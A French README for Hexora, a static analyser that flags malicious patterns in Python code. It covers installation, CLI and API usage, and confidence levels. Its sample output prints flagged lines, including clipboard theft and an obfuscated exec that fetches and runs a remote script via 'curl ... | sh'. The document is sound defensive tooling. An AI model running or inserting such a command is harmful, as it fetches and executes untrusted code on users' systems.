
Analyse statique de code Python malveillant
Hexora est un outil d'analyse statique conçu pour détecter les motifs malveillants et nuisibles dans le code Python. Il combine un moteur d'analyse statique basé sur des règles avec un modèle d'apprentissage automatique qui évalue l'ensemble des fichiers sources pour les classer comme malveillants ou bénins.
Il peut être utilisé pour :
Pour des exemples de sortie, veuillez consulter le fichier docs/examples.md.
Nécessite Python 3.9+.
pip install hexora
Avec uv :
uv tool install hexora
hexora --help
> hexora audit test.py
warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
┌─ resources/test/test.py:3:8
│
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
│ ^^^^^^^^^^^^^^^^^ HX2000
│
= Confidence: High
Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
Machine learning based score for file: 0.93
warning[HX3000]: Possible execution of unwanted code
┌─ resources/test/test.py:20:1
│
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
│ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
│
hexora audit --output-format terminal resources/test/
hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/
Où python3.11 est la version de Python dans l'environnement virtuel.
Conseils :
--exclude pour supprimer certains codes de règle (par exemple, les importations bruyantes) pour une exécution donnée--min-confidence pour vous concentrer uniquement sur les résultats à haute confiance.La confiance indique à quel point un certain morceau de code est malveillant. Certaines bibliothèques ou extraits de code sont utilisés à des fins légitimes, et il est difficile de distinguer les cas d'utilisation légitimes des cas malveillants. C'est pourquoi certaines correspondances ont un faible niveau de confiance.
Certaines règles peuvent avoir différents niveaux de confiance. Évitez de filtrer beaucoup de règles par codes sauf si vous êtes très confiant. Par exemple, l'exécution de code et de shell peut avoir une confiance moyenne, élevée et très élevée. Cela dépend de la façon dont le code a été exécuté. Si nous détectons une tentative d'obscurcissement, nous élevons la confiance.
Par exemple, ce code aura une confiance élevée :
globals()["__builtins__"].eval("print(123)")
>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
'description': 'pyperclip can be used to copy and paste data from '
'the clipboard.',
'label': 'pyperclip',
'location': (7, 16),
'rule': 'HX5010'},
{'confidence': 'high',
'description': 'Reading from the clipboard can be used to '
'exfiltrate sensitive data.',
'label': 'pyperclip.paste',
'location': (25, 42),
'rule': 'HX2000'}],
'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...
Lors du développement de nouvelles règles, vous pouvez utiliser des ensembles de données malveillants existants comme malicious-software-packages-dataset.
Après avoir cloné, pointez l'outil d'analyse comparative vers le répertoire de l'ensemble de données :
cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt --min-confidence high
De nouvelles règles sont ajoutées régulièrement.